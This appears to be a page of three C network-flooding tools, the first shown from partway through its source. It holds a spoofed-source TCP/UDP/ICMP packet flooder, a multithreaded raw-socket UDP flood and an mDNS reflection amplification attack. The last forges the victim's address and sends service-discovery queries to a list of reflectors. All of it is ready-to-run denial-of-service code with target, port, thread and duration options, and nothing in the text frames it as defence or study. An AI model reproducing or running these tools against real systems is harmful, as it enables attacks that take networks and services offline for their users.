dst_ep = src_sp = src_ep = 0; until = b_link = -1; src_class = dst_class = NULL; while ((n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) { char *p; switch (n) { case 'T': switch (atoi(optarg)) { case 0: a_flags |= TCP_ACK; break; case 1: a_flags |= TCP_FIN; break; case 2: a_flags |= TCP_RST; break; case 3: a_flags |= TCP_SYN; break; case 4: a_flags |= TCP_URG; break; } break; case 'U': a_flags |= UDP_CFF; break; case 'I': a_flags |= ICMP_ECHO_G; break; case 'N': a_flags |= TCP_NOF; break; case 's': src_class = optarg; break; case 'h': dstaddr = lookup(optarg); break; case 'd': dst_class = optarg; i = 1; break; case 'p': if ((p = (char *)strchr(optarg, ',')) == NULL) usage(argv[0]); dst_sp = atoi(optarg); dst_ep = atoi(p + 1); break; case 'q': if ((p = (char *)strchr(optarg, ',')) == NULL) usage(argv[0]); src_sp = atoi(optarg); src_ep = atoi(p + 1); break; case 'l': b_link = atoi(optarg); if (b_link <= 0 || b_link > 100) usage(argv[0]); break; case 't': until = time(0) + atoi(optarg); break; default: usage(argv[0]); break; } } if ((!dstaddr && !i) || (dstaddr && i) || (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) || (src_sp != 0 && src_sp > src_ep) || (dst_sp != 0 && dst_sp > dst_ep)) usage(argv[0]); srandom(time(NULL) ^ getpid()); if ((rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(-1); } if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { perror("setsockopt"); exit(-1); } target.sin_family = AF_INET; for (n = 0;;) { if (b_link != -1 && random() % 100 + 1 > b_link) { if (random() % 200 + 1 > 199) usleep(1); continue; } for (i = 0; a_list[i].f != NULL; ++i) { if (a_list[i].gv & a_flags) a_list[i].f(a_list[i].kv); } if (n++ == 100) { if (until != -1 && time(0) >= until) break; n = 0; } } exit(0); } u_long lookup(const char *host) { struct hostent *hp; if ((hp = gethostbyname(host)) == NULL) { perror("gethostbyname"); exit(-1); } return *(u_long *)hp->h_addr; } #define RANDOM() (int) random() % 255 + 1 char *class2ip(const char *class) { static char ip[16]; int i, j; for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i) if (class[i] == '.') ++j; switch (j) { case 0: sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM()); break; case 1: sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM()); break; case 2: sprintf(ip, "%s.%d", class, RANDOM()); break; default: strncpy(ip, class, 16); break; } return ip; } unsigned short in_cksum(unsigned short *addr, int len) { int nleft = len; int sum = 0; unsigned short *w = addr; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return answer; } static void inject_iphdr(struct ip *ip, u_char p, u_char len) { ip->ip_hl = 5; ip->ip_v = 4; ip->ip_p = p; ip->ip_tos = 0x08; /* 0x08 */ ip->ip_id = random(); ip->ip_len = len; ip->ip_off = 0; ip->ip_ttl = 255; ip->ip_dst.s_addr = dst_class != NULL ? inet_addr(class2ip(dst_class)) : dstaddr; ip->ip_src.s_addr = src_class != NULL ? inet_addr(class2ip(src_class)) : random(); target.sin_addr.s_addr = ip->ip_dst.s_addr; } static void send_tcp(u_char th_flags) { struct cksum cksum; struct packet { struct ip ip; struct tcphdr tcp; } packet; memset(&packet, 0, sizeof packet); inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet)); packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); cksum.pseudo.daddr = dstaddr; cksum.pseudo.mbz = 0; cksum.pseudo.ptcl = IPPROTO_TCP; cksum.pseudo.tcpl = htons(sizeof(struct tcphdr)); cksum.pseudo.saddr = packet.ip.ip_src.s_addr; packet.tcp.th_flags = random(); packet.tcp.th_win = random(); packet.tcp.th_seq = random(); packet.tcp.th_ack = random(); packet.tcp.th_off = 5; packet.tcp.th_urp = 0; packet.tcp.th_sport = CHOOSE_SRC_PORT(); packet.tcp.th_dport = CHOOSE_DST_PORT(); cksum.tcp = packet.tcp; packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum)); SEND_PACKET(); } static void send_udp(u_char garbage) { struct packet { struct ip ip; struct udphdr udp; } packet; memset(&packet, 0, sizeof packet); inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet)); packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); packet.udp.uh_sport = CHOOSE_SRC_PORT(); packet.udp.uh_dport = CHOOSE_DST_PORT(); packet.udp.uh_ulen = htons(sizeof packet.udp); packet.udp.uh_sum = 0; SEND_PACKET(); } static void send_icmp(u_char gargabe) { struct packet { struct ip ip; struct icmp icmp; } packet; memset(&packet, 0, sizeof packet); inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet)); packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); packet.icmp.icmp_type = ICMP_ECHO; packet.icmp.icmp_code = 0; packet.icmp.icmp_cksum = htons(~(ICMP_ECHO << 8)); SEND_PACKET(); } static void usage(const char *argv0) { printf("%s \n", banner); printf( " -U UDP attack \e[1;37m(\e[0m\e[0;31mno " "options\e[0m\e[1;37m)\e[0m\n"); printf( " -I ICMP attack \e[1;37m(\e[0m\e[0;31mno " "options\e[0m\e[1;37m)\e[0m\n"); printf( " -N Bogus attack \e[1;37m(\e[0m\e[0;31mno " "options\e[0m\e[1;37m)\e[0m\n"); printf( " -T TCP attack \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN, " "4:URG\e[1;37m]\e[0m\n"); printf( " -h destination host/ip \e[1;37m(\e[0m\e[0;31mno " "default\e[0m\e[1;37m)\e[0m\n"); printf( " -d destination class " "\e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); printf( " -s source class/ip " "\e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); printf( " -p destination port range [start,end] " "\e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); printf( " -q source port range [start,end] " "\e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); printf( " -l pps limiter \e[1;37m(\e[0m\e[0;31mno " "limit\e[0m\e[1;37m)\e[0m\n"); printf( " -t timeout \e[1;37m(\e[0m\e[0;31mno " "default\e[0m\e[1;37m)\e[0m\n"); printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -U -I -h -p -t]\n", argv0); exit(-1); } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 |
#include <time.h> #include <arpa/inet.h> #include <ifaddrs.h> #include <netdb.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #define MAX_PACKET_SIZE 4096 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct thread_data { int pks; int throttle; int thread_id; unsigned int floodport; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } char *myStrCat(char *s, char *a) { while (*s != '\0') s++; while (*a != '\0') *s++ = *a++; *s = '\0'; return s; } char *replStr(char *str, size_t count) { if (count == 0) return NULL; char *ret = malloc(strlen(str) * count + count); if (ret == NULL) return NULL; *ret = '\0'; char *tmp = myStrCat(ret, str); while (--count > 0) { tmp = myStrCat(tmp, str); } return ret; } /* function for header checksums */ unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { struct ifaddrs *ifaddr, *ifa; int family, s; char host[NI_MAXHOST]; if (getifaddrs(&ifaddr) == -1) { perror("getifaddrs"); exit(EXIT_FAILURE); } /* Walk through linked list, maintaining head pointer so we can free list later */ for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) { if (ifa->ifa_addr == NULL) continue; family = ifa->ifa_addr->sa_family; if (family == AF_INET) { s = getnameinfo(ifa->ifa_addr, sizeof(struct sockaddr_in), host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST); if (s != 0) { printf("getnameinfo() failed: %s\n", gai_strerror(s)); exit(EXIT_FAILURE); } if (strcmp(host, "127.0.0.1") != 0) { break; } } } freeifaddrs(ifaddr); iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr); iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; // Initial IP, changed later in infinite loop iph->saddr = inet_addr(host); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->check = 0; } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; fprintf(stdout, "Thread %d started\n", td->thread_id); char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; char new_ip[sizeof "255.255.255.255"]; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } unsigned int floodport = td->floodport; // Clear the data memset(datagram, 0, MAX_PACKET_SIZE); // Set appropriate fields in headers setup_ip_header(iph); setup_udp_header(udph); char *data = (char *)udph + sizeof(struct udphdr); data = replStr("\xFF", td->pks); udph->len = htons(td->pks); iph->tot_len += td->pks; udph->dest = htons(floodport); iph->daddr = sin.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } int throttle = td->throttle; uint32_t random_num; uint32_t ul_dst; init_rand(time(NULL)); if (throttle == 0) { while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)); random_num = rand_cmwc(); udph->source = htons(random_num & 0xFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); } } else { while (1) { throttle = td->throttle; sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)); random_num = rand_cmwc(); udph->source = htons(random_num & 0xFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); while (--throttle) ; } } } int main(int argc, char *argv[]) { if (argc < 6) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <target Port> <throttle> <packet size> " "<number threads to use> <time>\n", argv[0]); exit(-1); } fprintf(stdout, "Setting up Sockets...\n"); int num_threads = atoi(argv[5]); int packet_size = atoi(argv[4]); unsigned int floodport = atoi(argv[2]); pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(floodport); sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; int i; for (i = 0; i < num_threads; i++) { td[i].thread_id = i; td[i].pks = packet_size; td[i].sin = sin; td[i].floodport = floodport; td[i].throttle = atoi(argv[3]); pthread_create(&thread[i], NULL, &flood, (void *)&td[i]); } fprintf(stdout, "Starting Flood...\n"); if (argc > 6) { sleep(atoi(argv[6])); } else { while (1) { sleep(1); } } return 0; } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 |
#include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data { int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 46; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(5353); udph->check = 0; memcpy((void *)udph + sizeof(struct udphdr), "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72" "\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64" "\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01", 46); udph->len = htons(sizeof(struct udphdr) + 46); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 6) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> " "<pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets...\n"); int max_len = 128; char *buffer = (char *)malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; if (head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr = inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr = inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for (i = 0; i < num_threads; i++) { td[i].thread_id = i; td[i].sin = sin; td[i].list_node = current; pthread_create(&thread[i], NULL, &flood, (void *)&td[i]); } fprintf(stdout, "Starting flood...\n"); for (i = 0; i < (atoi(argv[6]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |